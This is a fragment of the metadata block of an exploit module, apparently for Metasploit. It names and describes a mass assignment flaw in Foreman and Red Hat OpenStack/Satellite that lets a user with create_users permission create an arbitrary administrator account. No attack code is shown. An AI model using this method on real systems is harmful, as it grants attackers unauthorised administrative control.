'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
'Description' => %q{
This module exploits a mass assignment vulnerability in the 'create'
action of 'users' controller of Foreman and Red Hat OpenStack/Satellite
(Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator
account. For this exploit to work, your account must have 'create_users'
permission (e.g., Manager role).
